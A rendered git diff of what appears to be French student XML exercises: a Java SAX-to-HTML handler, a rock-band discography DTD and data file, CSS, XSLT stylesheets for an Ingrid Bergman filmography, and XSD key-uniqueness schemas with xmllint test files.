|||
|
|||
if ("musicien".equals(name)) { |
|||
this.cat("</li>"); |
|||
this.write = false; |
|||
} |
|||
/* |
|||
if ("instruments".equals(name)) { |
|||
this.cat("</td>"); |
|||
} |
|||
*/ |
|||
if ("disques".equals(name)) { |
|||
this.cat("</table></td>"); |
|||
} |
|||
|
|||
if ("disque".equals(name)) { |
|||
this.cat("</td></tr>"); |
|||
this.write = false; |
|||
} |
|||
} |
|||
|
|||
public void characters (char buf [], int offset, int len) |
|||
throws SAXException { |
|||
// String(byte[] bytes, int offset, int length)
|
|||
if (this.write) { |
|||
this.cat(new String(buf, offset, len)); |
|||
} |
|||
} |
|||
|
|||
|
|||
private void cat(String str) { |
|||
this.str.append(str); |
|||
} |
|||
|
|||
} |
|||
@ -0,0 +1,25 @@ |
|||
<?xml version="1.0" encoding="ISO-8859-1" ?> |
|||
<!ELEMENT discographie (groupes,musiciens,disques)> |
|||
<!ELEMENT groupes (groupe)+> |
|||
<!ELEMENT groupe (#PCDATA)> |
|||
<!ATTLIST groupe id ID #REQUIRED |
|||
url CDATA #REQUIRED |
|||
img CDATA #REQUIRED |
|||
> |
|||
<!ELEMENT musiciens (musicien)+> |
|||
<!ELEMENT musicien (#PCDATA|instruments|bio)*> |
|||
<!ATTLIST musicien groupe IDREF #REQUIRED |
|||
id CDATA #REQUIRED |
|||
> |
|||
<!ELEMENT instruments (#PCDATA)> |
|||
<!ELEMENT bio EMPTY> |
|||
<!ATTLIST bio naissance CDATA #REQUIRED |
|||
mort CDATA #REQUIRED |
|||
> |
|||
<!ELEMENT disques (disque)+> |
|||
<!ELEMENT disque (#PCDATA)> |
|||
<!ATTLIST disque groupe IDREF #REQUIRED |
|||
id CDATA #REQUIRED |
|||
annee CDATA #REQUIRED |
|||
img CDATA #REQUIRED |
|||
> |
|||
@ -0,0 +1,87 @@ |
|||
<?xml version="1.0" encoding="UTF-8"?> |
|||
<discographie> |
|||
<groupes> |
|||
<groupe id="deep-purple" url="http://www.thehighwaystar.com" img="dp-photo.jpg">Deep Purple <!-- un son d'enfer --></groupe> |
|||
<groupe id="doors" url="http://www.thedoors.com" img="doors-photo.jpg">The Doors <!-- mon groupe fetiche --></groupe> |
|||
<groupe id="iron-butterfly" url="http://starling.rinet.ru/music/iron.htm" img="iron-photo.jpg">Iron Butterfly <!-- ces mecs sont cool ! --></groupe> |
|||
<groupe id="led-zeppelin" url="http://www.ledzeppelin.com" img="lz-photo.jpg">Led Zeppelin</groupe> |
|||
<groupe id="pink-floyd" url="http://ourworld.compuserve.com/homepages/PFArchives/webindex.htm" img="pf-photo.jpg">Pink Floyd <!-- les seuls qui sont toujours là... sexagénaires --></groupe> |
|||
</groupes> |
|||
<musiciens> |
|||
<musicien groupe="deep-purple" id="m1">Ian Gillan<instruments>Voix <!-- et quelle voix ! --></instruments><bio naissance="1945" mort="-"/></musicien> |
|||
<musicien groupe="deep-purple" id="m2">Ian Paice<instruments>Percussion</instruments><bio naissance="1948" mort="-"/></musicien> |
|||
<musicien groupe="deep-purple" id="m3">Ritchie Blackmore<instruments>Guitare</instruments><bio naissance="1945" mort="-"/></musicien> |
|||
<musicien groupe="deep-purple" id="m4">Rod Evans<instruments>Voix</instruments><bio naissance="1947" mort="-"/></musicien> |
|||
<musicien groupe="deep-purple" id="m5">Jon Lord<instruments>Clavier</instruments><bio naissance="1941" mort="-"/></musicien> |
|||
<musicien groupe="deep-purple" id="m6">Nick Simper<instruments>Guitare basse</instruments><bio naissance="1945" mort="-"/></musicien> |
|||
<musicien groupe="doors" id="m1">Jim Morrison<instruments>Voix <!-- et avant tout, poète --></instruments><bio naissance="1943" mort="1971"/></musicien> |
|||
<musicien groupe="doors" id="m2">Ray Manzarek<instruments>Clavier <!-- l'intellectuel du groupe --></instruments><bio naissance="1939" mort="-"/></musicien> |
|||
<musicien groupe="doors" id="m3">Robby Krieger<instruments>Guitare</instruments><bio naissance="1946" mort="-"/></musicien> |
|||
<musicien groupe="doors" id="m4">John Densmore<instruments>Percussion</instruments><bio naissance="1944" mort="-"/></musicien> |
|||
<musicien groupe="iron-butterfly" id="m1">Doug Ingle<instruments>Clavier</instruments><bio naissance="1946" mort="-"/></musicien> |
|||
<musicien groupe="iron-butterfly" id="m2">Lee Dorman<instruments>Guitare basse</instruments><bio naissance="1942" mort="-"/></musicien> |
|||
<musicien groupe="iron-butterfly" id="m3">Ron Bushy<instruments>Percussion</instruments><bio naissance="1945" mort="-"/></musicien> |
|||
<musicien groupe="iron-butterfly" id="m4">Erik Bra[u]nn<instruments>Guitare</instruments><bio naissance="1950" mort="2003"/></musicien> |
|||
<musicien groupe="led-zeppelin" id="m1">John Bonham<instruments>Percussion</instruments><bio naissance="1948" mort="1980"/></musicien> |
|||
<musicien groupe="led-zeppelin" id="m2">John Paul Jones<instruments>Guitare basse</instruments><bio naissance="1946" mort="-"/></musicien> |
|||
<musicien groupe="led-zeppelin" id="m3">Jimmy Page<instruments>Guitare</instruments><bio naissance="1944" mort="-"/></musicien> |
|||
<musicien groupe="led-zeppelin" id="m4">Robert Plant<instruments>Voix</instruments><bio naissance="1948" mort="-"/></musicien> |
|||
<musicien groupe="pink-floyd" id="m1">David Gilmour<instruments>Guitare <!-- la guitare mythique --></instruments><bio naissance="1946" mort="-"/></musicien> |
|||
<musicien groupe="pink-floyd" id="m2">Syd Barrett<instruments>Guitare, voix</instruments><bio naissance="1946" mort="-"/></musicien> |
|||
<musicien groupe="pink-floyd" id="m3">Roger Waters<instruments>Guitare basse, voix</instruments><bio naissance="1943" mort="-"/></musicien> |
|||
<musicien groupe="pink-floyd" id="m4">Richard Wright<instruments>Clavier</instruments><bio naissance="1945" mort="-"/></musicien> |
|||
<musicien groupe="pink-floyd" id="m5">Nick Mason<instruments>Percussion</instruments><bio naissance="1944" mort="-"/></musicien> |
|||
</musiciens> |
|||
<disques> |
|||
<disque groupe="deep-purple" id="d1" annee="1968" img="dp1.jpg">Shades of Deep Purple</disque> |
|||
<disque groupe="deep-purple" id="d2" annee="1968" img="dp2.jpg">The Book of Taliesyn</disque> |
|||
<disque groupe="deep-purple" id="d3" annee="1969" img="dp3.jpg">Deep Purple</disque> |
|||
<disque groupe="deep-purple" id="d4" annee="1969" img="dp11.jpg">Concerto for Group and Orchestra</disque> |
|||
<disque groupe="deep-purple" id="d5" annee="1970" img="dp4.jpg">Deep Purple in Rock</disque> |
|||
<disque groupe="deep-purple" id="d6" annee="1971" img="dp5.jpg">Fireball</disque> |
|||
<disque groupe="deep-purple" id="d7" annee="1972" img="dp6.jpg">Machine Head</disque> |
|||
<disque groupe="deep-purple" id="d8" annee="1973" img="dp7.jpg">Who Do We Think We Are</disque> |
|||
<disque groupe="deep-purple" id="d9" annee="1974" img="dp8.jpg">Burn</disque> |
|||
<disque groupe="deep-purple" id="d10" annee="1974" img="dp9.jpg">Stormbringer</disque> |
|||
<disque groupe="deep-purple" id="d11" annee="1975" img="dp10.jpg">The House of Blue Light</disque> |
|||
<disque groupe="doors" id="d1" annee="1967" img="doors1.jpg">The Doors <!-- contient l'incomparable "The End", utilisé par Kubrick dans "Apocalypse Now" --></disque> |
|||
<disque groupe="doors" id="d2" annee="1967" img="doors2.jpg">Strange Days</disque> |
|||
<disque groupe="doors" id="d3" annee="1968" img="doors3.jpg">Waiting for the Sun</disque> |
|||
<disque groupe="doors" id="d4" annee="1969" img="doors4.jpg">The Soft Parade <!-- le disque le plus médiocre --></disque> |
|||
<disque groupe="doors" id="d5" annee="1970" img="doors5.jpg">Morrison Hotel</disque> |
|||
<disque groupe="doors" id="d6" annee="1971" img="doors6.jpg">L.A. Woman</disque> |
|||
<disque groupe="doors" id="d7" annee="1978" img="doors7.jpg">An American Prayer <!-- Morrison était déjà mort --></disque> |
|||
<disque groupe="iron-butterfly" id="d1" annee="1968" img="iron1.jpg">Heavy</disque> |
|||
<disque groupe="iron-butterfly" id="d2" annee="1968" img="iron2.jpg">In-a-gadda-da-vida</disque> |
|||
<disque groupe="iron-butterfly" id="d3" annee="1969" img="iron3.jpg">Ball</disque> |
|||
<disque groupe="iron-butterfly" id="d4" annee="1970" img="iron4.jpg">Live</disque> |
|||
<disque groupe="iron-butterfly" id="d5" annee="1970" img="iron5.jpg">Metamorphosis</disque> |
|||
<disque groupe="iron-butterfly" id="d6" annee="1975" img="iron6.jpg">Scorching Beauty</disque> |
|||
<disque groupe="iron-butterfly" id="d7" annee="1975" img="iron7.jpg">Sun and Steel</disque> |
|||
<disque groupe="led-zeppelin" id="d1" annee="1969" img="lz1.jpg">Led Zeppelin</disque> |
|||
<disque groupe="led-zeppelin" id="d2" annee="1969" img="lz2.jpg">Led Zeppelin II</disque> |
|||
<disque groupe="led-zeppelin" id="d3" annee="1970" img="lz3.jpg">Led Zeppelin III</disque> |
|||
<disque groupe="led-zeppelin" id="d4" annee="1971" img="lz4.jpg">Led Zeppelin IV</disque> |
|||
<disque groupe="led-zeppelin" id="d5" annee="1973" img="lz5.jpg">Houses of the Holy</disque> |
|||
<disque groupe="led-zeppelin" id="d6" annee="1975" img="lz6.jpg">Physical Graffiti</disque> |
|||
<disque groupe="led-zeppelin" id="d7" annee="1976" img="lz7.jpg">Presence</disque> |
|||
<disque groupe="led-zeppelin" id="d8" annee="1979" img="lz8.jpg">In Through the Out Door</disque> |
|||
<disque groupe="led-zeppelin" id="d9" annee="1982" img="lz9.jpg">Coda</disque> |
|||
<disque groupe="pink-floyd" id="d1" annee="1967" img="pf1.jpg">The Piper at the Gates of Dawn</disque> |
|||
<disque groupe="pink-floyd" id="d2" annee="1968" img="pf2.jpg">A Saucerful of Secrets</disque> |
|||
<disque groupe="pink-floyd" id="d3" annee="1969" img="pf3.jpg">More</disque> |
|||
<disque groupe="pink-floyd" id="d4" annee="1969" img="pf4.jpg">Ummagumma</disque> |
|||
<disque groupe="pink-floyd" id="d5" annee="1970" img="pf5.jpg">Atom Heart Mother</disque> |
|||
<disque groupe="pink-floyd" id="d6" annee="1971" img="pf6.jpg">Meddle</disque> |
|||
<disque groupe="pink-floyd" id="d7" annee="1972" img="pf7.jpg">Obscured by Clouds</disque> |
|||
<disque groupe="pink-floyd" id="d8" annee="1973" img="pf8.jpg">Dark Side of the Moon</disque> |
|||
<disque groupe="pink-floyd" id="d9" annee="1975" img="pf9.jpg">Wish You Were Here <!-- un disque monumental --></disque> |
|||
<disque groupe="pink-floyd" id="d10" annee="1977" img="pf10.jpg">Animals</disque> |
|||
<disque groupe="pink-floyd" id="d11" annee="1979" img="pf11.jpg">The Wall</disque> |
|||
<disque groupe="pink-floyd" id="d12" annee="1983" img="pf12.jpg">The Final Cut</disque> |
|||
<disque groupe="pink-floyd" id="d13" annee="1987" img="pf13.jpg">A Momentary Lapse of Reason</disque> |
|||
<disque groupe="pink-floyd" id="d14" annee="1988" img="pf14.jpg">Delicate Sound of Thunder</disque> |
|||
<disque groupe="pink-floyd" id="d15" annee="1994" img="pf15.jpg">The Division Bell</disque> |
|||
<disque groupe="pink-floyd" id="d16" annee="1995" img="pf16.jpg">P-U-L-S-E</disque> |
|||
</disques> |
|||
</discographie> |
|||
@ -0,0 +1,17 @@ |
|||
thead { |
|||
background-color: lightgray; |
|||
} |
|||
|
|||
table { |
|||
width: 100%; |
|||
/* border-style: solid; */ |
|||
margin: 10pt; |
|||
border-collapse: collapse; |
|||
} |
|||
|
|||
td { |
|||
border-style: solid; |
|||
border-spacing: 0pt; |
|||
border-width: 1pt; |
|||
padding: 3pt; |
|||
} |
|||
@ -0,0 +1,24 @@ |
|||
thead { |
|||
background-color: lightgray; |
|||
} |
|||
|
|||
table { |
|||
width: 100%; |
|||
/* border-style: solid; */ |
|||
margin: 10pt; |
|||
border-collapse: collapse; |
|||
} |
|||
|
|||
td { |
|||
border-style: solid; |
|||
border-spacing: 0pt; |
|||
border-width: 1pt; |
|||
padding: 3pt; |
|||
vertical-align: top; |
|||
} |
|||
|
|||
td table tr td { |
|||
border-style: none; |
|||
padding: 3pt; |
|||
vertical-align: middle; |
|||
} |
|||
@ -0,0 +1,78 @@ |
|||
<?xml version="1.0" encoding="utf-8"?> |
|||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> |
|||
<xsl:output method="xml" version="1.0" encoding="utf-8" indent="yes" /> |
|||
<xsl:template match="/"> |
|||
<filmographie> |
|||
<xsl:apply-templates select="//role"> |
|||
<xsl:sort order="ascending" select="./@date"/> |
|||
</xsl:apply-templates> |
|||
</filmographie> |
|||
</xsl:template> |
|||
|
|||
|
|||
<!-- |
|||
replace every role element by a film element |
|||
--> |
|||
<xsl:template match="role"> |
|||
<xsl:variable name="filmId"> |
|||
<xsl:value-of select="./@filmref"/> |
|||
</xsl:variable> |
|||
<xsl:element name="film"> |
|||
<xsl:attribute name="filmref"> |
|||
<xsl:value-of select="@filmref"/> |
|||
</xsl:attribute> |
|||
<xsl:apply-templates select="/filmographie/resumes/resume[@filmref=$filmId]" mode="att"/> |
|||
<xsl:attribute name="date"> |
|||
<xsl:value-of select="@date"/> |
|||
</xsl:attribute> |
|||
<xsl:attribute name="misc"> |
|||
<xsl:value-of select="@misc"/> |
|||
</xsl:attribute> |
|||
<xsl:attribute name="personnage"> |
|||
<xsl:value-of select="@personnage"/> |
|||
</xsl:attribute> |
|||
<xsl:element name="titre"> |
|||
<xsl:value-of select="./text()"/> |
|||
</xsl:element> |
|||
<xsl:element name="resume"> |
|||
<xsl:apply-templates select="/filmographie/resumes/resume[@filmref=$filmId]" mode="elem"/> |
|||
</xsl:element> |
|||
<xsl:apply-templates select="/filmographie/aliases/alias[@filmref=$filmId]"/> |
|||
</xsl:element> |
|||
</xsl:template> |
|||
|
|||
|
|||
<!-- |
|||
foreach film, get img, pdf and director info from resume |
|||
--> |
|||
<xsl:template match="resume" mode="att"> |
|||
<xsl:attribute name="img"> |
|||
<xsl:value-of select="./@img"/> |
|||
</xsl:attribute> |
|||
<xsl:attribute name="pdf"> |
|||
<xsl:value-of select="./@pdf"/> |
|||
</xsl:attribute> |
|||
<xsl:attribute name="realisateur"> |
|||
<xsl:value-of select="./@realisateur"/> |
|||
</xsl:attribute> |
|||
</xsl:template> |
|||
|
|||
|
|||
<!-- |
|||
foreach film, print resume |
|||
--> |
|||
<xsl:template match="resume" mode="elem"> |
|||
<xsl:value-of select="."/> |
|||
</xsl:template> |
|||
|
|||
|
|||
<!-- |
|||
foreach film, copy every aliases |
|||
--> |
|||
<xsl:template match="alias"> |
|||
<xsl:copy> |
|||
<xsl:apply-templates/> |
|||
</xsl:copy> |
|||
</xsl:template> |
|||
|
|||
</xsl:stylesheet> |
|||
@ -0,0 +1,41 @@ |
|||
<?xml version="1.0" encoding="utf-8"?> |
|||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> |
|||
<xsl:output method="xml" version="1.0" encoding="utf-8" indent="yes" /> |
|||
<xsl:template match="/"> |
|||
<xsl:text disable-output-escaping="yes"> |
|||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> |
|||
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> |
|||
<head> |
|||
<title>Filmographie d'Ingrid Bergman</title> |
|||
</head> |
|||
<body> |
|||
<table> |
|||
</xsl:text> |
|||
<xsl:apply-templates select="//role"> |
|||
<xsl:sort order="ascending" select="./@date"/> |
|||
</xsl:apply-templates> |
|||
<xsl:text disable-output-escaping="yes"> |
|||
</table> |
|||
</body> |
|||
</html> |
|||
</xsl:text> |
|||
</xsl:template> |
|||
|
|||
|
|||
<!-- |
|||
replace every role element by a film element |
|||
--> |
|||
<xsl:template match="role"> |
|||
<xsl:text disable-output-escaping="yes"> |
|||
<tr> |
|||
<td> |
|||
</xsl:text> |
|||
<xsl:value-of select="."/> |
|||
<xsl:text disable-output-escaping="yes"> |
|||
</td> |
|||
</tr> |
|||
</xsl:text> |
|||
</xsl:template> |
|||
|
|||
|
|||
</xsl:stylesheet> |
|||
@ -0,0 +1,50 @@ |
|||
<?xml version="1.0" ?> |
|||
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"> |
|||
|
|||
<!-- Declaration of the element "component-list" --> |
|||
<xsd:element name="component-list"> |
|||
|
|||
<!-- The components list contains several components --> |
|||
<xsd:complexType> |
|||
<xsd:sequence> |
|||
<xsd:element ref="component" minOccurs="1" maxOccurs="unbounded" /> |
|||
</xsd:sequence> |
|||
</xsd:complexType> |
|||
|
|||
<!-- All component's id must be unique ! --> |
|||
<xsd:key name="component-id"> |
|||
<xsd:selector xpath="component" /> |
|||
<xsd:field xpath="@id" /> |
|||
</xsd:key> |
|||
|
|||
<!-- All pin's id must be unique _within a component's list_ --> |
|||
<xsd:key name="pin-id"> |
|||
<xsd:selector xpath="component/pin" /> |
|||
<xsd:field xpath="@id" /> |
|||
</xsd:key> |
|||
|
|||
</xsd:element> |
|||
|
|||
<!-- Declaration of the element "component" --> |
|||
<xsd:element name="component"> |
|||
|
|||
<!-- A component has several pins --> |
|||
<xsd:complexType> |
|||
<xsd:sequence> |
|||
<xsd:element ref="pin" minOccurs="1" maxOccurs="unbounded" /> |
|||
</xsd:sequence> |
|||
<xsd:attribute name="id" type="xsd:string" /> |
|||
</xsd:complexType> |
|||
|
|||
</xsd:element> |
|||
|
|||
<!-- Declaration of the element "pin" --> |
|||
<xsd:element name="pin"> |
|||
|
|||
<!-- A pin is always an empty element --> |
|||
<xsd:complexType> |
|||
<xsd:attribute name="id" type="xsd:string" /> |
|||
</xsd:complexType> |
|||
|
|||
</xsd:element> |
|||
</xsd:schema> |
|||
@ -0,0 +1,50 @@ |
|||
<?xml version="1.0"?> |
|||
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"> |
|||
|
|||
<!-- Declaration of the element "component-list" --> |
|||
<xsd:element name="component-list"> |
|||
|
|||
<!-- The components list contains several components --> |
|||
<xsd:complexType> |
|||
<xsd:sequence> |
|||
<xsd:element ref="component" minOccurs="1" maxOccurs="unbounded" /> |
|||
</xsd:sequence> |
|||
</xsd:complexType> |
|||
|
|||
<!-- All component's id must be unique ! --> |
|||
<xsd:key name="component-id"> |
|||
<xsd:selector xpath="component" /> |
|||
<xsd:field xpath="@id" /> |
|||
</xsd:key> |
|||
|
|||
</xsd:element> |
|||
|
|||
<!-- Declaration of the element "component" --> |
|||
<xsd:element name="component"> |
|||
|
|||
<!-- A component has several pins --> |
|||
<xsd:complexType> |
|||
<xsd:sequence> |
|||
<xsd:element ref="pin" minOccurs="1" maxOccurs="unbounded" /> |
|||
</xsd:sequence> |
|||
<xsd:attribute name="id" type="xsd:string" /> |
|||
</xsd:complexType> |
|||
|
|||
<!-- All pin's id must be unique _within a component_ --> |
|||
<xsd:key name="pin-id"> |
|||
<xsd:selector xpath="pin" /> |
|||
<xsd:field xpath="@id" /> |
|||
</xsd:key> |
|||
|
|||
</xsd:element> |
|||
|
|||
<!-- Declaration of the element "pin" --> |
|||
<xsd:element name="pin"> |
|||
|
|||
<!-- A pin is always an empty element --> |
|||
<xsd:complexType> |
|||
<xsd:attribute name="id" type="xsd:string" /> |
|||
</xsd:complexType> |
|||
|
|||
</xsd:element> |
|||
</xsd:schema> |
|||
@ -0,0 +1,33 @@ |
|||
#!/bin/sh |
|||
|
|||
# |
|||
# Schema 1 |
|||
# |
|||
|
|||
# Test 1 |
|||
echo |
|||
echo ">>> Validation of 'test1.xml' against 'local.xsd'... " |
|||
echo |
|||
xmllint --noout --schema local.xsd test1.xml |
|||
|
|||
# Test 2 |
|||
echo |
|||
echo ">>> Validation of 'test2.xml' against 'local.xsd'... " |
|||
echo |
|||
xmllint --noout --schema local.xsd test2.xml |
|||
|
|||
# |
|||
# Schema 2 |
|||
# |
|||
|
|||
# Test 3 |
|||
echo |
|||
echo ">>> Validation of 'test3.xml' against 'global.xsd'... " |
|||
echo |
|||
xmllint --noout --schema global.xsd test3.xml |
|||
|
|||
# Test 4 |
|||
echo |
|||
echo ">>> Validation of 'test4.xml' against 'global.xsd'... " |
|||
echo |
|||
xmllint --noout --schema global.xsd test4.xml |
|||
@ -0,0 +1,23 @@ |
|||
<?xml version="1.0" ?> |
|||
<component-list |
|||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
|||
xsi:noNamespaceSchemaLocation="test1.xsd"> |
|||
|
|||
<!-- In this example, two components have pins with the same id |
|||
("vcc" and "gnd"). This is valid. --> |
|||
|
|||
<component id="c1"> |
|||
<pin id="vcc" /> |
|||
<pin id="gnd" /> |
|||
<pin id="in-1" /> |
|||
<pin id="in-2" /> |
|||
<pin id="out-1" /> |
|||
</component> |
|||
|
|||
<component id="c2"> |
|||
<pin id="vcc" /> |
|||
<pin id="gnd" /> |
|||
<pin id="pin-a" /> |
|||
<pin id="pin-b" /> |
|||
</component> |
|||
</component-list> |
|||
@ -0,0 +1,26 @@ |
|||
<?xml version="1.0" ?> |
|||
<component-list |
|||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
|||
xsi:noNamespaceSchemaLocation="test1.xsd"> |
|||
|
|||
<!-- In this example, a component has two pins with the same id. |
|||
This is NOT valid ! --> |
|||
|
|||
<component id="c1"> |
|||
<pin id="vcc" /> |
|||
<pin id="gnd" /> |
|||
|
|||
<pin id="in-1" /> |
|||
<pin id="in-2" /> |
|||
<pin id="out-1" /> |
|||
</component> |
|||
|
|||
<component id="c2"> |
|||
<pin id="vcc" /> |
|||
<pin id="gnd" /> |
|||
|
|||
<!-- Duplicated id --> |
|||
<pin id="pin-a" /> |
|||
<pin id="pin-a" /> |
|||
</component> |
|||
</component-list> |
|||
@ -0,0 +1,22 @@ |
|||
<?xml version="1.0" ?> |
|||
<component-list |
|||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
|||
xsi:noNamespaceSchemaLocation="test2.xsd"> |
|||
|
|||
<!-- In this example all the pin's id are unique. This is valid. --> |
|||
|
|||
<component id="c1"> |
|||
<pin id="c1-vcc" /> |
|||
<pin id="c1-gnd" /> |
|||
<pin id="c1-in-1" /> |
|||
<pin id="c1-in-2" /> |
|||
<pin id="c1-out-1" /> |
|||
</component> |
|||
|
|||
<component id="c2"> |
|||
<pin id="c2-vcc" /> |
|||
<pin id="c2-gnd" /> |
|||
<pin id="c2-pin-a" /> |
|||
<pin id="c2-pin-b" /> |
|||
</component> |
|||
</component-list> |
|||
@ -0,0 +1,23 @@ |
|||
<?xml version="1.0" ?> |
|||
<component-list |
|||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" |
|||
xsi:noNamespaceSchemaLocation="test2.xsd"> |
|||
|
|||
<!-- In this example, two components have a pin with the same id. |
|||
This is NOT valid. --> |
|||
|
|||
<component id="c1"> |
|||
<pin id="c1-vcc" /> |
|||
<pin id="c1-gnd" /> |
|||
<pin id="c1-in-1" /> |
|||
<pin id="c1-in-2" /> |
|||
<pin id="bogus" /> |
|||
</component> |
|||
|
|||
<component id="c2"> |
|||
<pin id="c2-vcc" /> |
|||
<pin id="c2-gnd" /> |
|||
<pin id="c2-pin-a" /> |
|||
<pin id="bogus" /> |
|||
</component> |
|||
</component-list> |
|||
Loading…
Reference in new issue